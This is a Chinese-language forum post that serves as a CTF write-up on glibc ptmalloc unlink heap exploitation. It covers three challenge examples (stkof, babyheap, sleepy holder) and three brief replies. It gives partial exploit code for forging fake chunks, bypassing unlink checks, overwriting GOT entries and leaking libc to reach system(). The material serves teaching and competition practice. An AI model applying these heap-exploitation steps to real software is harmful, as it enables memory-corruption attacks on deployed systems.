首页
论坛
课程
招聘
[原创]ctf ptmalloc pwn unlink
2018-9-26 15:39 3106

[原创]ctf ptmalloc pwn unlink

2018-9-26 15:39
3106

unlink是CTF中非常常见的一种题型

本文的着重点在于思路,因此并没有完整的去讲解例题,因为网上已经有不少的write up了,所以只是把认为重要的思路点总结了一下。

unlink时的一些性质

unlink是在free掉一个chunk的时候,如果与之相邻的chunk是free状态,并且不是投票chunk时,会将chunk从原来的链表中unlink,并触发合并,fast bin并不会触发合并,只有当满足条件触发fast bin合并时,即当申请的chunk大小大于fast bins,在搜素smallbins之前,会将相邻的fastbins chunk合并。

unlink检查

unlink时需要检查chunk的fd指向的chunk的bk是否指向当前chunk,bk指针指向的fd是否指向当前chunk。

unlink最终实现的效果

unlink最终会实现任意地址写,但写的东西是固定的地址,将fd地址+0x18写为chunk的bk,将bk+0x10写入chunk的fd。如果是个全局变量存储每个chunk的地址,即可通过edit改写全局变量。

例题

CTF题目常见的一种unlink是题目中存在一个全局变量数组,用这个数组存储malloc之后的指针。如此,只要覆盖申请出来的一块chunk的fd为全局变量-0x10,bk为-0x18,这样即可通过检查。

例1hitcon ctf stkof:

此题存在一个可以无限写的函数,属于最简单的一种unlink,直接通过堆溢出改写chunk结构。

#假设全局变量为example

alloc(0x30)#0

alloc(0x80)#1

alloc(0x20)#2

alloc(0x30)#3

alloc(0x40)#4
payload = p64(0x0)+p64(0x30)+p64(example - 0x18)+p64(example - 0x10)

example 第一项存储的是0的地址,因此将0的fd和bk改了之后,可以绕过检查

payload += ‘a’*0x10+p64(0x30)+p64(90)

free(1)#

触发unlink example[0]的值变为了 example-0x18

这个时候通过编辑example[0]即可实现对整个数组的控制。其后通过将free的got地址放入数组中的某一项,比如放入example[2],然后改写free的got表地址为puts的plt地址

payload = “”

payload += p64(puts_got)+p64(free_got)+p64(atoi_got)

edit(0,‘a’*0x18+payload)

edit(1,p64(puts_plt))

此时可以通过free(0),这时会puts(puts_got),打印了puts的got表地址,成功leak libc。有了libc之后,通过偏移量得倒system的地址,再利用同样的原理将got表改为system即可。至于"/bin/sh"可以随便放在一个chunk里面。

例2网鼎杯的一道pwn

babyheap

这题的考察点在于,对chunk size的大小进行了限制,只能分配0x30大小的chunk,而且没有溢出,不能改写下一个chunk的size位的大小。但是这个题存在一个use after free漏洞,我们采取的利用思路是: 首先通过use after free 打印fast bins chunk,泄漏堆地址,之后我们改写链表尾部chunk的fd指针,使分配直接在堆上,从而覆盖一个chunk的size位,之后在堆上再伪造一块free chunk,触发unlink。

alloc(0,‘A’*0x18+p64(0x31))

alloc(1,‘A’*0x18+p64(0x31))

alloc(2,‘A’*0x18+p64(0x31))

注意不要忘记伪造size位,以便于下面用来在此地申请chunk,从而改写fast bins 的大小

free(0)

free(1)

free(2)

show(2)

p = s.recvuntil(‘Done’)

p = p.ljust(8,’\x00’)

heap = u64§

此时收到的fd的指针是指向1的,因为fastbins 链表是后进先出

heap_base = heap - 0x30

edit(2,p64(heap_base+0x20))

heap的地址的到了,如何得到libc的基址呢?我们需要精心构造chunk,以便于我们

改写2的fd

alloc(3,‘a’)

alloc(4,p64(0)+p64(0x101))

改写了1的size,下面需要伪造chunk

alloc(5,‘a’)

alloc(6,p64(0x0)+p64(0x41)+p64(example - 0x18)+p64(example - 0x10))

example 为全局变量数组存放第6个chunk位置

alloc(7,‘a’*0x10+p64(0x40)+p64(0x40))

free(1)
####这个时候free 1,因为1的size满足small bins,会触发unlink,0x101的位置位于7中,是我们伪造的chunk,其pre_size是0x40,向前0x40正好是位于6中我们伪造的一个chunk中,会将其unlink下来,如此就可以将地址写入。之后的利用同上一个例子,改写got表。不过,有show,可以直接打印got表泄漏libc,不需要再改free了

例三

hitcon ctf sleepy holder

再进阶,增加限制只能申请40 4000 400000的chunk。而且只能申请三次,不能像上一题一样无限申请实现扩增fast bin chunk unlink。所以这题利用的是fast bins consolidate

small middle big chunk都只能存在一个:

add(‘small’,‘a’)

delete(‘small’)

add(‘middle’,‘b’)

此时small chunk的fast bins chunk进入了unsorted bins,并将middle chunk的pre in use 位值0

add(‘big’,‘c’)

delete(‘small’)

此时double free ,将small chunk再次放入了fast bins。这样做的目的是再次申请的时候维持middle chunk的pre in use 位继续保持0

payload = p64(0)+p64(0x21)+p64(example - 0x18)+p64(example - 0x10)+p64(0x20)

伪造好了unlink的fake chunk,这个时候free middle即可实现unlink,改写全局变量,剩下的利用方法同例一例二

free(‘middle’)



[看雪官方]《安卓高级研修班》线下班,网课(12月)班开始同步招生!!

收藏
点赞0
打赏
分享
最新回复 (3)
雪    币: 1566
活跃值: 活跃值 (24)
能力值: ( LV9,RANK:150 )
在线值:
发帖
回帖
粉丝
obfuscation 活跃值 3 2018-9-26 16:28
2
0
写的比较简陋,只给出了漏洞利用时的代码,具体的过程大家可以自己补充然后调试,也算是一种学习
雪    币: 281
活跃值: 活跃值 (1714)
能力值: (RANK:350 )
在线值:
发帖
回帖
粉丝
kanxue 活跃值 8 2018-9-26 21:56
3
0
若能将相关例子一起打包上传就好了
雪    币: 1566
活跃值: 活跃值 (24)
能力值: ( LV9,RANK:150 )
在线值:
发帖
回帖
粉丝
obfuscation 活跃值 3 2018-9-26 23:36
4
0
明天上传一下
游客
登录 | 注册 方可回帖
返回